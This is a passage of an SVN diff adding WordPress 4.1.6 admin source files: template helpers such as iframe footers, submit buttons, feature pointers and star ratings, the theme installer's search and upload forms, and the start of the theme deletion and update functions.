+/** This action is documented in wp-admin/admin-header.php */
+do_action( 'admin_print_scripts' );
+
+/** This action is documented in wp-admin/admin-header.php */
+do_action( "admin_head-$hook_suffix" );
+
+/** This action is documented in wp-admin/admin-header.php */
+do_action( 'admin_head' );
+
+$admin_body_class .= ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_locale() ) ) );
+
+if ( is_rtl() )
+	$admin_body_class .= ' rtl';
+
+?>
+</head>
+<?php
+/** This filter is documented in wp-admin/admin-header.php */
+$admin_body_classes = apply_filters( 'admin_body_class', '' );
+?>
+<body<?php if ( isset($GLOBALS['body_id']) ) echo ' id="' . $GLOBALS['body_id'] . '"'; ?> class="wp-admin wp-core-ui no-js iframe <?php echo $admin_body_classes . ' ' . $admin_body_class; ?>">
+<script type="text/javascript">
+//<![CDATA[
+(function(){
+var c = document.body.className;
+c = c.replace(/no-js/, 'js');
+document.body.className = c;
+})();
+//]]>
+</script>
+<?php
+}
+
+/**
+ * Generic Iframe footer for use with Thickbox
+ *
+ * @since 2.7.0
+ *
+ */
+function iframe_footer() {
+	/*
+	 * We're going to hide any footer output on iFrame pages,
+	 * but run the hooks anyway since they output JavaScript
+	 * or other needed content.
+	 */
+	 ?>
+	<div class="hidden">
+<?php
+	/** This action is documented in wp-admin/admin-footer.php */
+	do_action( 'admin_footer', '' );
+
+	/** This action is documented in wp-admin/admin-footer.php */
+	do_action( 'admin_print_footer_scripts' );
+?>
+	</div>
+<script type="text/javascript">if(typeof wpOnload=="function")wpOnload();</script>
+</body>
+</html>
+<?php
+}
+
+function _post_states($post) {
+	$post_states = array();
+	if ( isset( $_REQUEST['post_status'] ) )
+		$post_status = $_REQUEST['post_status'];
+	else
+		$post_status = '';
+
+	if ( !empty($post->post_password) )
+		$post_states['protected'] = __('Password protected');
+	if ( 'private' == $post->post_status && 'private' != $post_status )
+		$post_states['private'] = __('Private');
+	if ( 'draft' == $post->post_status && 'draft' != $post_status )
+		$post_states['draft'] = __('Draft');
+	if ( 'pending' == $post->post_status && 'pending' != $post_status )
+		/* translators: post state */
+		$post_states['pending'] = _x('Pending', 'post state');
+	if ( is_sticky($post->ID) )
+		$post_states['sticky'] = __('Sticky');
+
+	/**
+	 * Filter the default post display states used in the Posts list table.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $post_states An array of post display states. Values include 'Password protected',
+	 *                           'Private', 'Draft', 'Pending', and 'Sticky'.
+	 * @param int   $post        The post ID.
+	 */
+	$post_states = apply_filters( 'display_post_states', $post_states, $post );
+
+	if ( ! empty($post_states) ) {
+		$state_count = count($post_states);
+		$i = 0;
+		echo ' - ';
+		foreach ( $post_states as $state ) {
+			++$i;
+			( $i == $state_count ) ? $sep = '' : $sep = ', ';
+			echo "<span class='post-state'>$state$sep</span>";
+		}
+	}
+
+}
+
+function _media_states( $post ) {
+	$media_states = array();
+	$stylesheet = get_option('stylesheet');
+
+	if ( current_theme_supports( 'custom-header') ) {
+		$meta_header = get_post_meta($post->ID, '_wp_attachment_is_custom_header', true );
+		if ( ! empty( $meta_header ) && $meta_header == $stylesheet )
+			$media_states[] = __( 'Header Image' );
+	}
+
+	if ( current_theme_supports( 'custom-background') ) {
+		$meta_background = get_post_meta($post->ID, '_wp_attachment_is_custom_background', true );
+		if ( ! empty( $meta_background ) && $meta_background == $stylesheet )
+			$media_states[] = __( 'Background Image' );
+	}
+
+	/**
+	 * Filter the default media display states for items in the Media list table.
+	 *
+	 * @since 3.2.0
+	 *
+	 * @param array $media_states An array of media states. Default 'Header Image',
+	 *                            'Background Image'.
+	 */
+	$media_states = apply_filters( 'display_media_states', $media_states );
+
+	if ( ! empty( $media_states ) ) {
+		$state_count = count( $media_states );
+		$i = 0;
+		echo ' - ';
+		foreach ( $media_states as $state ) {
+			++$i;
+			( $i == $state_count ) ? $sep = '' : $sep = ', ';
+			echo "<span class='post-state'>$state$sep</span>";
+		}
+	}
+}
+
+/**
+ * Test support for compressing JavaScript from PHP
+ *
+ * Outputs JavaScript that tests if compression from PHP works as expected
+ * and sets an option with the result. Has no effect when the current user
+ * is not an administrator. To run the test again the option 'can_compress_scripts'
+ * has to be deleted.
+ *
+ * @since 2.8.0
+ */
+function compression_test() {
+?>
+	<script type="text/javascript">
+	/* <![CDATA[ */
+	var testCompression = {
+		get : function(test) {
+			var x;
+			if ( window.XMLHttpRequest ) {
+				x = new XMLHttpRequest();
+			} else {
+				try{x=new ActiveXObject('Msxml2.XMLHTTP');}catch(e){try{x=new ActiveXObject('Microsoft.XMLHTTP');}catch(e){};}
+			}
+
+			if (x) {
+				x.onreadystatechange = function() {
+					var r, h;
+					if ( x.readyState == 4 ) {
+						r = x.responseText.substr(0, 18);
+						h = x.getResponseHeader('Content-Encoding');
+						testCompression.check(r, h, test);
+					}
+				}
+
+				x.open('GET', ajaxurl + '?action=wp-compression-test&test='+test+'&'+(new Date()).getTime(), true);
+				x.send('');
+			}
+		},
+
+		check : function(r, h, test) {
+			if ( ! r && ! test )
+				this.get(1);
+
+			if ( 1 == test ) {
+				if ( h && ( h.match(/deflate/i) || h.match(/gzip/i) ) )
+					this.get('no');
+				else
+					this.get(2);
+
+				return;
+			}
+
+			if ( 2 == test ) {
+				if ( '"wpCompressionTest' == r )
+					this.get('yes');
+				else
+					this.get('no');
+			}
+		}
+	};
+	testCompression.check();
+	/* ]]> */
+	</script>
+<?php
+}
+
+/**
+ * Echoes a submit button, with provided text and appropriate class(es).
+ *
+ * @since 3.1.0
+ *
+ * @see get_submit_button()
+ *
+ * @param string       $text             The text of the button (defaults to 'Save Changes')
+ * @param string       $type             Optional. The type and CSS class(es) of the button. Core values
+ *                                       include 'primary', 'secondary', 'delete'. Default 'primary'
+ * @param string       $name             The HTML name of the submit button. Defaults to "submit". If no
+ *                                       id attribute is given in $other_attributes below, $name will be
+ *                                       used as the button's id.
+ * @param bool         $wrap             True if the output button should be wrapped in a paragraph tag,
+ *                                       false otherwise. Defaults to true
+ * @param array|string $other_attributes Other attributes that should be output with the button, mapping
+ *                                       attributes to their values, such as setting tabindex to 1, etc.
+ *                                       These key/value attribute pairs will be output as attribute="value",
+ *                                       where attribute is the key. Other attributes can also be provided
+ *                                       as a string such as 'tabindex="1"', though the array format is
+ *                                       preferred. Default null.
+ */
+function submit_button( $text = null, $type = 'primary', $name = 'submit', $wrap = true, $other_attributes = null ) {
+	echo get_submit_button( $text, $type, $name, $wrap, $other_attributes );
+}
+
+/**
+ * Returns a submit button, with provided text and appropriate class
+ *
+ * @since 3.1.0
+ *
+ * @param string $text The text of the button (defaults to 'Save Changes')
+ * @param string $type The type of button. One of: primary, secondary, delete
+ * @param string $name The HTML name of the submit button. Defaults to "submit". If no id attribute
+ *               is given in $other_attributes below, $name will be used as the button's id.
+ * @param bool $wrap True if the output button should be wrapped in a paragraph tag,
+ * 			   false otherwise. Defaults to true
+ * @param array|string $other_attributes Other attributes that should be output with the button,
+ *                     mapping attributes to their values, such as array( 'tabindex' => '1' ).
+ *                     These attributes will be output as attribute="value", such as tabindex="1".
+ *                     Defaults to no other attributes. Other attributes can also be provided as a
+ *                     string such as 'tabindex="1"', though the array format is typically cleaner.
+ */
+function get_submit_button( $text = null, $type = 'primary large', $name = 'submit', $wrap = true, $other_attributes = null ) {
+	if ( ! is_array( $type ) )
+		$type = explode( ' ', $type );
+
+	$button_shorthand = array( 'primary', 'small', 'large' );
+	$classes = array( 'button' );
+	foreach ( $type as $t ) {
+		if ( 'secondary' === $t || 'button-secondary' === $t )
+			continue;
+		$classes[] = in_array( $t, $button_shorthand ) ? 'button-' . $t : $t;
+	}
+	$class = implode( ' ', array_unique( $classes ) );
+
+	if ( 'delete' === $type )
+		$class = 'button-secondary delete';
+
+	$text = $text ? $text : __( 'Save Changes' );
+
+	// Default the id attribute to $name unless an id was specifically provided in $other_attributes
+	$id = $name;
+	if ( is_array( $other_attributes ) && isset( $other_attributes['id'] ) ) {
+		$id = $other_attributes['id'];
+		unset( $other_attributes['id'] );
+	}
+
+	$attributes = '';
+	if ( is_array( $other_attributes ) ) {
+		foreach ( $other_attributes as $attribute => $value ) {
+			$attributes .= $attribute . '="' . esc_attr( $value ) . '" '; // Trailing space is important
+		}
+	} else if ( !empty( $other_attributes ) ) { // Attributes provided as a string
+		$attributes = $other_attributes;
+	}
+
+	$button = '<input type="submit" name="' . esc_attr( $name ) . '" id="' . esc_attr( $id ) . '" class="' . esc_attr( $class );
+	$button	.= '" value="' . esc_attr( $text ) . '" ' . $attributes . ' />';
+
+	if ( $wrap ) {
+		$button = '<p class="submit">' . $button . '</p>';
+	}
+
+	return $button;
+}
+
+function _wp_admin_html_begin() {
+	global $is_IE;
+
+	$admin_html_class = ( is_admin_bar_showing() ) ? 'wp-toolbar' : '';
+
+	if ( $is_IE )
+		@header('X-UA-Compatible: IE=edge');
+
+?>
+<!DOCTYPE html>
+<!--[if IE 8]>
+<html xmlns="http://www.w3.org/1999/xhtml" class="ie8 <?php echo $admin_html_class; ?>" <?php
+	/**
+	 * Fires inside the HTML tag in the admin header.
+	 *
+	 * @since 2.2.0
+	 */
+	do_action( 'admin_xml_ns' );
+?> <?php language_attributes(); ?>>
+<![endif]-->
+<!--[if !(IE 8) ]><!-->
+<html xmlns="http://www.w3.org/1999/xhtml" class="<?php echo $admin_html_class; ?>" <?php
+	/** This action is documented in wp-admin/includes/template.php */
+	do_action( 'admin_xml_ns' );
+?> <?php language_attributes(); ?>>
+<!--<![endif]-->
+<head>
+<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php echo get_option('blog_charset'); ?>" />
+<?php
+}
+
+final class WP_Internal_Pointers {
+	/**
+	 * Initializes the new feature pointers.
+	 *
+	 * @since 3.3.0
+	 *
+	 * All pointers can be disabled using the following:
+	 *     remove_action( 'admin_enqueue_scripts', array( 'WP_Internal_Pointers', 'enqueue_scripts' ) );
+	 *
+	 * Individual pointers (e.g. wp390_widgets) can be disabled using the following:
+	 *     remove_action( 'admin_print_footer_scripts', array( 'WP_Internal_Pointers', 'pointer_wp390_widgets' ) );
+	 */
+	public static function enqueue_scripts( $hook_suffix ) {
+		/*
+		 * Register feature pointers
+		 * Format: array( hook_suffix => pointer_id )
+		 */
+
+		$registered_pointers = array(
+			'post-new.php' => 'wp410_dfw',
+			'post.php'     => 'wp410_dfw',
+			'edit.php'     => 'wp360_locks',
+			'widgets.php'  => 'wp390_widgets',
+			'themes.php'   => 'wp390_widgets',
+		);
+
+		// Check if screen related pointer is registered
+		if ( empty( $registered_pointers[ $hook_suffix ] ) )
+			return;
+
+		$pointers = (array) $registered_pointers[ $hook_suffix ];
+
+		$caps_required = array(
+			'wp390_widgets' => array( 'edit_theme_options' ),
+		);
+
+		// Get dismissed pointers
+		$dismissed = explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) );
+
+		$got_pointers = false;
+		foreach ( array_diff( $pointers, $dismissed ) as $pointer ) {
+			if ( isset( $caps_required[ $pointer ] ) ) {
+				foreach ( $caps_required[ $pointer ] as $cap ) {
+					if ( ! current_user_can( $cap ) )
+						continue 2;
+				}
+			}
+
+			// Bind pointer print function
+			add_action( 'admin_print_footer_scripts', array( 'WP_Internal_Pointers', 'pointer_' . $pointer ) );
+			$got_pointers = true;
+		}
+
+		if ( ! $got_pointers )
+			return;
+
+		// Add pointers script and style to queue
+		wp_enqueue_style( 'wp-pointer' );
+		wp_enqueue_script( 'wp-pointer' );
+	}
+
+	/**
+	 * Print the pointer JavaScript data.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $pointer_id The pointer ID.
+	 * @param string $selector The HTML elements, on which the pointer should be attached.
+	 * @param array  $args Arguments to be passed to the pointer JS (see wp-pointer.js).
+	 */
+	private static function print_js( $pointer_id, $selector, $args ) {
+		if ( empty( $pointer_id ) || empty( $selector ) || empty( $args ) || empty( $args['content'] ) )
+			return;
+
+		?>
+		<script type="text/javascript">
+		//<![CDATA[
+		(function($){
+			var options = <?php echo wp_json_encode( $args ); ?>, setup;
+
+			if ( ! options )
+				return;
+
+			options = $.extend( options, {
+				close: function() {
+					$.post( ajaxurl, {
+						pointer: '<?php echo $pointer_id; ?>',
+						action: 'dismiss-wp-pointer'
+					});
+				}
+			});
+
+			setup = function() {
+				$('<?php echo $selector; ?>').first().pointer( options ).pointer('open');
+			};
+
+			if ( options.position && options.position.defer_loading )
+				$(window).bind( 'load.wp-pointers', setup );
+			else
+				$(document).ready( setup );
+
+		})( jQuery );
+		//]]>
+		</script>
+		<?php
+	}
+
+	public static function pointer_wp330_toolbar() {}
+	public static function pointer_wp330_media_uploader() {}
+	public static function pointer_wp330_saving_widgets() {}
+	public static function pointer_wp340_customize_current_theme_link() {}
+	public static function pointer_wp340_choose_image_from_library() {}
+	public static function pointer_wp350_media() {}
+	public static function pointer_wp360_revisions() {}
+
+	public static function pointer_wp360_locks() {
+		if ( ! is_multi_author() ) {
+			return;
+		}
+
+		$content  = '<h3>' . __( 'Edit Lock' ) . '</h3>';
+		$content .= '<p>' . __( 'Someone else is editing this. No need to refresh; the lock will disappear when they&#8217;re done.' ) . '</p>';
+
+		self::print_js( 'wp360_locks', 'tr.wp-locked .locked-indicator', array(
+			'content' => $content,
+			'position' => array( 'edge' => 'left', 'align' => 'left' ),
+		) );
+	}
+
+	public static function pointer_wp390_widgets() {
+		if ( ! current_theme_supports( 'widgets' ) ) {
+			return;
+		}
+
+		$content  = '<h3>' . __( 'New Feature: Live Widget Previews' ) . '</h3>';
+		$content .= '<p>' . __( 'Add, edit, and play around with your widgets from the Customizer.' ) . ' ' . __( 'Preview your changes in real-time and only save them when you&#8217;re ready.' ) . '</p>';
+
+		if ( 'themes' === get_current_screen()->id ) {
+			$selector = '.theme.active .customize';
+			$position = array( 'edge' => is_rtl() ? 'right' : 'left', 'align' => 'center' );
+		} else {
+			$selector = 'a[href^="customize.php"]';
+			if ( is_rtl() ) {
+				$position = array( 'edge' => 'right', 'align' => 'center', 'my' => 'right-5px' );
+			} else {
+				$position = array( 'edge' => 'left', 'align' => 'center', 'my' => 'left-5px' );
+			}
+		}
+
+		self::print_js( 'wp390_widgets', $selector, array(
+			'content' => $content,
+			'position' => $position,
+		) );
+	}
+
+	public static function pointer_wp410_dfw() {
+		// Don't show when editor-scrolling is not used.
+		if ( empty( $GLOBALS['_wp_editor_expand'] ) ) {
+			return;
+		}
+
+		$content  = '<h3>' . __( 'Distraction-Free Writing' ) . '</h3>';
+		$content .= '<p>' . __( 'Enable distraction-free writing mode, and everything surrounding the editor will fade away when you start typing. Move your mouse out of the editor to reveal everything again.' ) . '</p>';
+
+		if ( is_rtl() ) {
+			$position = array( 'edge' => 'left', 'align' => 'center', 'my' => 'left+40 top-11', 'at' => 'left top' );
+		} else {
+			$position = array( 'edge' => 'right', 'align' => 'center', 'my' => 'right-40 top-11', 'at' => 'right top' );
+		}
+
+		self::print_js( 'wp410_dfw', '#wp-content-wrap', array(
+			'content' => $content,
+			'position' => $position,
+		) );
+	}
+
+	/**
+	 * Prevents new users from seeing existing 'new feature' pointers.
+	 *
+	 * @since 3.3.0
+	 */
+	public static function dismiss_pointers_for_new_users( $user_id ) {
+		add_user_meta( $user_id, 'dismissed_wp_pointers', 'wp360_locks,wp390_widgets' );
+	}
+}
+
+add_action( 'admin_enqueue_scripts', array( 'WP_Internal_Pointers', 'enqueue_scripts'                ) );
+add_action( 'user_register',         array( 'WP_Internal_Pointers', 'dismiss_pointers_for_new_users' ) );
+
+/**
+ * Convert a screen string to a screen object
+ *
+ * @since 3.0.0
+ *
+ * @param string $hook_name The hook name (also known as the hook suffix) used to determine the screen.
+ * @return WP_Screen Screen object.
+ */
+function convert_to_screen( $hook_name ) {
+	if ( ! class_exists( 'WP_Screen' ) ) {
+		_doing_it_wrong( 'convert_to_screen(), add_meta_box()', __( "Likely direct inclusion of wp-admin/includes/template.php in order to use add_meta_box(). This is very wrong. Hook the add_meta_box() call into the add_meta_boxes action instead." ), '3.3' );
+		return (object) array( 'id' => '_invalid', 'base' => '_are_belong_to_us' );
+	}
+
+	return WP_Screen::get( $hook_name );
+}
+
+/**
+ * Output the HTML for restoring the post data from DOM storage
+ *
+ * @since 3.6.0
+ * @access private
+ */
+function _local_storage_notice() {
+	?>
+	<div id="local-storage-notice" class="hidden notice">
+	<p class="local-restore">
+		<?php _e('The backup of this post in your browser is different from the version below.'); ?>
+		<a class="restore-backup" href="#"><?php _e('Restore the backup.'); ?></a>
+	</p>
+	<p class="undo-restore hidden">
+		<?php _e('Post restored successfully.'); ?>
+		<a class="undo-restore-backup" href="#"><?php _e('Undo.'); ?></a>
+	</p>
+	</div>
+	<?php
+}
+
+/**
+ * Output a HTML element with a star rating for a given rating.
+ *
+ * Outputs a HTML element with the star rating exposed on a 0..5 scale in
+ * half star increments (ie. 1, 1.5, 2 stars). Optionally, if specified, the
+ * number of ratings may also be displayed by passing the $number parameter.
+ *
+ * @since 3.8.0
+ * @param array $args {
+ *     Optional. Array of star ratings arguments.
+ *
+ *     @type int    $rating The rating to display, expressed in either a 0.5 rating increment,
+ *                          or percentage. Default 0.
+ *     @type string $type   Format that the $rating is in. Valid values are 'rating' (default),
+ *                          or, 'percent'. Default 'rating'.
+ *     @type int    $number The number of ratings that makes up this rating. Default 0.
+ * }
+ */
+function wp_star_rating( $args = array() ) {
+	$defaults = array(
+		'rating' => 0,
+		'type' => 'rating',
+		'number' => 0,
+	);
+	$r = wp_parse_args( $args, $defaults );
+
+	// Non-english decimal places when the $rating is coming from a string
+	$rating = str_replace( ',', '.', $r['rating'] );
+
+	// Convert Percentage to star rating, 0..5 in .5 increments
+	if ( 'percent' == $r['type'] ) {
+		$rating = round( $rating / 10, 0 ) / 2;
+	}
+
+	// Calculate the number of each type of star needed
+	$full_stars = floor( $rating );
+	$half_stars = ceil( $rating - $full_stars );
+	$empty_stars = 5 - $full_stars - $half_stars;
+
+	if ( $r['number'] ) {
+		/* translators: 1: The rating, 2: The number of ratings */
+		$format = _n( '%1$s rating based on %2$s rating', '%1$s rating based on %2$s ratings', $r['number'] );
+		$title = sprintf( $format, number_format_i18n( $rating, 1 ), number_format_i18n( $r['number'] ) );
+	} else {
+		/* translators: 1: The rating */
+		$title = sprintf( __( '%s rating' ), number_format_i18n( $rating, 1 ) );
+	}
+
+	echo '<div class="star-rating" title="' . esc_attr( $title ) . '">';
+	echo '<span class="screen-reader-text">' . $title . '</span>';
+	echo str_repeat( '<div class="star star-full"></div>', $full_stars );
+	echo str_repeat( '<div class="star star-half"></div>', $half_stars );
+	echo str_repeat( '<div class="star star-empty"></div>', $empty_stars);
+	echo '</div>';
+}
Index: /tags/4.1.6/src/wp-admin/includes/theme-install.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/theme-install.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/theme-install.php	(revision 33402)
@@ -0,0 +1,205 @@
+<?php
+/**
+ * WordPress Theme Install Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+$themes_allowedtags = array('a' => array('href' => array(), 'title' => array(), 'target' => array()),
+	'abbr' => array('title' => array()), 'acronym' => array('title' => array()),
+	'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(),
+	'div' => array(), 'p' => array(), 'ul' => array(), 'ol' => array(), 'li' => array(),
+	'h1' => array(), 'h2' => array(), 'h3' => array(), 'h4' => array(), 'h5' => array(), 'h6' => array(),
+	'img' => array('src' => array(), 'class' => array(), 'alt' => array())
+);
+
+$theme_field_defaults = array( 'description' => true, 'sections' => false, 'tested' => true, 'requires' => true,
+	'rating' => true, 'downloaded' => true, 'downloadlink' => true, 'last_updated' => true, 'homepage' => true,
+	'tags' => true, 'num_ratings' => true
+);
+
+/**
+ * Retrieve list of WordPress theme features (aka theme tags)
+ *
+ * @since 2.8.0
+ *
+ * @deprecated since 3.1.0 Use get_theme_feature_list() instead.
+ *
+ * @return array
+ */
+function install_themes_feature_list() {
+	_deprecated_function( __FUNCTION__, '3.1', 'get_theme_feature_list()' );
+
+	if ( !$cache = get_transient( 'wporg_theme_feature_list' ) )
+		set_transient( 'wporg_theme_feature_list', array(), 3 * HOUR_IN_SECONDS );
+
+	if ( $cache )
+		return $cache;
+
+	$feature_list = themes_api( 'feature_list', array() );
+	if ( is_wp_error( $feature_list ) )
+		return array();
+
+	set_transient( 'wporg_theme_feature_list', $feature_list, 3 * HOUR_IN_SECONDS );
+
+	return $feature_list;
+}
+
+/**
+ * Display search form for searching themes.
+ *
+ * @since 2.8.0
+ */
+function install_theme_search_form( $type_selector = true ) {
+	$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
+	$term = isset( $_REQUEST['s'] ) ? wp_unslash( $_REQUEST['s'] ) : '';
+	if ( ! $type_selector )
+		echo '<p class="install-help">' . __( 'Search for themes by keyword.' ) . '</p>';
+	?>
+<form id="search-themes" method="get" action="">
+	<input type="hidden" name="tab" value="search" />
+	<?php if ( $type_selector ) : ?>
+	<label class="screen-reader-text" for="typeselector"><?php _e('Type of search'); ?></label>
+	<select	name="type" id="typeselector">
+	<option value="term" <?php selected('term', $type) ?>><?php _e('Keyword'); ?></option>
+	<option value="author" <?php selected('author', $type) ?>><?php _e('Author'); ?></option>
+	<option value="tag" <?php selected('tag', $type) ?>><?php _ex('Tag', 'Theme Installer'); ?></option>
+	</select>
+	<label class="screen-reader-text" for="s"><?php
+	switch ( $type ) {
+		case 'term':
+			_e( 'Search by keyword' );
+			break;
+		case 'author':
+			_e( 'Search by author' );
+			break;
+		case 'tag':
+			_e( 'Search by tag' );
+			break;
+	}
+	?></label>
+	<?php else : ?>
+	<label class="screen-reader-text" for="s"><?php _e('Search by keyword'); ?></label>
+	<?php endif; ?>
+	<input type="search" name="s" id="s" size="30" value="<?php echo esc_attr($term) ?>" autofocus="autofocus" />
+	<?php submit_button( __( 'Search' ), 'button', 'search', false ); ?>
+</form>
+<?php
+}
+
+/**
+ * Display tags filter for themes.
+ *
+ * @since 2.8.0
+ */
+function install_themes_dashboard() {
+	install_theme_search_form( false );
+?>
+<h4><?php _e('Feature Filter') ?></h4>
+<p class="install-help"><?php _e( 'Find a theme based on specific features.' ); ?></p>
+
+<form method="get" action="">
+	<input type="hidden" name="tab" value="search" />
+	<?php
+	$feature_list = get_theme_feature_list();
+	echo '<div class="feature-filter">';
+
+	foreach ( (array) $feature_list as $feature_name => $features ) {
+		$feature_name = esc_html( $feature_name );
+		echo '<div class="feature-name">' . $feature_name . '</div>';
+
+		echo '<ol class="feature-group">';
+		foreach ( $features as $feature => $feature_name ) {
+			$feature_name = esc_html( $feature_name );
+			$feature = esc_attr($feature);
+?>
+
+<li>
+	<input type="checkbox" name="features[]" id="feature-id-<?php echo $feature; ?>" value="<?php echo $feature; ?>" />
+	<label for="feature-id-<?php echo $feature; ?>"><?php echo $feature_name; ?></label>
+</li>
+
+<?php	} ?>
+</ol>
+<br class="clear" />
+<?php
+	} ?>
+
+</div>
+<br class="clear" />
+<?php submit_button( __( 'Find Themes' ), 'button', 'search' ); ?>
+</form>
+<?php
+}
+// add_action('install_themes_dashboard', 'install_themes_dashboard');
+
+function install_themes_upload() {
+?>
+<p class="install-help"><?php _e('If you have a theme in a .zip format, you may install it by uploading it here.'); ?></p>
+<form method="post" enctype="multipart/form-data" class="wp-upload-form" action="<?php echo self_admin_url('update.php?action=upload-theme'); ?>">
+	<?php wp_nonce_field( 'theme-upload'); ?>
+	<input type="file" name="themezip" />
+	<?php submit_button( __( 'Install Now' ), 'button', 'install-theme-submit', false ); ?>
+</form>
+	<?php
+}
+// add_action('install_themes_upload', 'install_themes_upload', 10, 0);
+
+/**
+ * Prints a theme on the Install Themes pages.
+ *
+ * @deprecated 3.4.0
+ */
+function display_theme( $theme ) {
+	_deprecated_function( __FUNCTION__, '3.4' );
+	global $wp_list_table;
+	if ( ! isset( $wp_list_table ) ) {
+		$wp_list_table = _get_list_table('WP_Theme_Install_List_Table');
+	}
+	$wp_list_table->prepare_items();
+	$wp_list_table->single_row( $theme );
+}
+
+/**
+ * Display theme content based on theme list.
+ *
+ * @since 2.8.0
+ */
+function display_themes() {
+	global $wp_list_table;
+
+	if ( ! isset( $wp_list_table ) ) {
+		$wp_list_table = _get_list_table('WP_Theme_Install_List_Table');
+	}
+	$wp_list_table->prepare_items();
+	$wp_list_table->display();
+
+}
+// add_action('install_themes_search', 'display_themes');
+// add_action('install_themes_featured', 'display_themes');
+// add_action('install_themes_new', 'display_themes');
+// add_action('install_themes_updated', 'display_themes');
+
+/**
+ * Display theme information in dialog box form.
+ *
+ * @since 2.8.0
+ */
+function install_theme_information() {
+	global $wp_list_table;
+
+	$theme = themes_api( 'theme_information', array( 'slug' => wp_unslash( $_REQUEST['theme'] ) ) );
+
+	if ( is_wp_error( $theme ) )
+		wp_die( $theme );
+
+	iframe_header( __('Theme Install') );
+	if ( ! isset( $wp_list_table ) ) {
+		$wp_list_table = _get_list_table('WP_Theme_Install_List_Table');
+	}
+	$wp_list_table->theme_installer_single( $theme );
+	iframe_footer();
+	exit;
+}
+add_action('install_themes_pre_theme-information', 'install_theme_information');
Index: /tags/4.1.6/src/wp-admin/includes/theme.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/theme.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/theme.php	(revision 33402)
@@ -0,0 +1,487 @@
+<?php
+/**
+ * WordPress Theme Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Remove a theme
+ *
+ * @since 2.8.0
+ *
+ * @param string $stylesheet Stylesheet of the theme to delete
+ * @param string $redirect Redirect to page when complete.
+ * @return mixed
+ */
+function delete_theme($stylesheet, $redirect = '') {
+	global $wp_filesystem;
+
+	if ( empty($stylesheet) )
+		return false;
+
+	ob_start();
+	if ( empty( $redirect ) )
+		$redirect = wp_nonce_url('themes.php?action=delete&stylesheet=' . urlencode( $stylesheet ), 'delete-theme_' . $stylesheet);
+	if ( false === ($credentials = request_filesystem_credentials($redirect)) ) {
+		$data = ob_get_contents();
+		ob_end_clean();
+		if ( ! empty($data) ){
+			include_once( ABSPATH . 'wp-admin/admin-header.php');
+			echo $data;
+			include( ABSPATH . 'wp-admin/admin-footer.php');
+			exit;
+		}
+		return;
+	}
+
+	if ( ! WP_Filesystem($credentials) ) {
+		request_filesystem_credentials($redirect, '', true); // Failed to connect, Error and request again
+		$data = ob_get_contents();
+		ob_end_clean();
+		if ( ! empty($data) ) {
+			include_once( ABSPATH . 'wp-admin/admin-header.php');
+			echo $data;
+			include( ABSPATH . 'wp-admin/admin-footer.php');
+			exit;
+		}
+		return;
+	}
+
+	if ( ! is_object($wp_filesystem) )
+		return new WP_Error('fs_unavailable', __('Could not access filesystem.'));
+
+	if ( is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code() )
+		return new WP_Error('fs_error', __('Filesystem error.'), $wp_filesystem->errors);
+
+	// Get the base plugin folder.
+	$themes_dir = $wp_filesystem->wp_themes_dir();
+	if ( empty( $themes_dir ) ) {
+		return new WP_Error( 'fs_no_themes_dir', __( 'Unable to locate WordPress theme directory.' ) );
+	}
+
+	$themes_dir = trailingslashit( $themes_dir );
+	$theme_dir = trailingslashit( $themes_dir . $stylesheet );
+	$deleted = $wp_filesystem->delete( $theme_dir, true );
+
+	if ( ! $deleted ) {
+		return new WP_Error( 'could_not_remove_theme', sprintf( __( 'Could not fully remove the theme %s.' ), $stylesheet ) );
+	}
+
+	$translations_dir = $wp_filesystem->wp_lang_dir();
+	$translations_dir = trailingslashit( $translations_dir );
+
+	$theme_translations = wp_get_installed_translations( 'themes' );
+
+	// Remove language files, silently.
+	if ( ! empty( $theme_translations[ $stylesheet ] ) ) {
+		$translations = $theme_translations[ $stylesheet ];
+
+		foreach ( $translations as $translation => $data ) {
+			$wp_filesystem->delete( WP_LANG_DIR . '/themes/' . $stylesheet . '-' . $translation . '.po' );
+			$wp_filesystem->delete( WP_LANG_DIR . '/themes/' . $stylesheet . '-' . $translation . '.mo' );
+		}
+	}
+
+	// Force refresh of theme update information.
+	delete_site_transient( 'update_themes' );
+
+	return true;
+}
+
+/**
+ * Get the Page Templates available in this theme
+ *
+ * @since 1.5.0
+ *
+ * @param WP_Post|null $post Optional. The post being edited, provided for context.
+ * @return array Key is the template name, value is the filename of the template
+ */
+function get_page_templates( $post = null ) {
+	return array_flip( wp_get_theme()->get_page_templates( $post ) );
+}
+
+/**
+ * Tidies a filename for url display by the theme editor.
+ *
+ * @since 2.9.0
+ * @access private
+ *
+ * @param string $fullpath Full path to the theme file
+ * @param string $containingfolder Path of the theme parent folder
+ * @return string
+ */
+function _get_template_edit_filename($fullpath, $containingfolder) {
+	return str_replace(dirname(dirname( $containingfolder )) , '', $fullpath);
+}
+
+/**
+ * Check if there is an update for a theme available.
+ *
+ * Will display link, if there is an update available.
+ *
+ * @since 2.7.0
+ * @see get_theme_update_available()
+ *
+ * @param object $theme Theme data object.
+ */
+function theme_update_available( $theme ) {
+	echo get_theme_update_available( $theme );
+}
+
+/**
+ * Retrieve the update link if there is a theme update available.
+ *
+ * Will return a link if there is an update available.
+ *
+ * @since 3.8.0
+ *
+ * @param WP_Theme $theme WP_Theme object.
+ * @return false|string HTML for the update link, or false if invalid info was passed.
+ */
+function get_theme_update_available( $theme ) {
+	static $themes_update;
+
+	if ( !current_user_can('update_themes' ) )
+		return false;
+
+	if ( !isset($themes_update) )
+		$themes_update = get_site_transient('update_themes');
+
+	if ( ! is_a( $theme, 'WP_Theme' ) )
+		return false;
+
+	$stylesheet = $theme->get_stylesheet();
+
+	$html = '';
+
+	if ( isset($themes_update->response[ $stylesheet ]) ) {
